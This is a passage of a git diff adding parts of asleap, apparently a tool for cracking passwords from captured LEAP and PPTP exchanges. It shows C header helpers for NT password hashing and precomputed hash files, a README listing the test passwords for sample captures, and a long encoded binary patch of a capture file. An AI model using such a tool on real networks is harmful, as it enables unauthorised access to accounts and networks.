unsigned int *mac_buf); +void NtPasswordHash(char *secret, int secret_len, unsigned char *hash); + +#define MAX_NT_PASSWORD 256 +#define hex2int(c) ((((c) >= '0') && ((c) <= '9')) ? ((c) - '0') : \ + ((((c) >= 'A') && ((c) <= 'F')) ? ((c) - 'A' + 10) : \ + ((c) - 'a' + 10))) + +/* Structure for the binary output from genkeys - used by asleap to read the + file. */ +struct hashpass_rec { + unsigned char rec_size; + char *password; + unsigned char hash[16]; +} __attribute__ ((packed)); + +/* Structure for the index file from genkeys */ +struct hashpassidx_rec { + unsigned char hashkey[2]; + off_t offset; + unsigned long long int numrec; +} __attribute__ ((packed)); + +/* Structure for use in sorting hashes into appropriate buckets */ +struct hashbucket_rec { + FILE *sbucket; + long numrec; +}; + +static __inline__ void to_upper(char *s) +{ + char *p; + char offset; + + offset = 'A' - 'a'; + for (p = s; *p != '\0'; p++) { + if (islower(*p)) { + *p += offset; + } + } +} diff --git a/asleap/src/data/README b/asleap/src/data/README new file mode 100644 index 0000000..f4940bd --- /dev/null +++ b/asleap/src/data/README @@ -0,0 +1,5 @@ +Sample packet capture files for testing. The password for the LEAP exchange in +"leap.dump" is "qaleap". The password for the LEAP exchange in "leap.apc" is +"blamo". + +The password for the PPTP exchange in "pptp.apc" is "turquoise". diff --git a/asleap/src/data/leap.dump b/asleap/src/data/leap.dump new file mode 100644 index 0000000000000000000000000000000000000000..dac4f548d670140b83394dcf627b44cdaf5b6657 GIT binary patch literal 82808 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 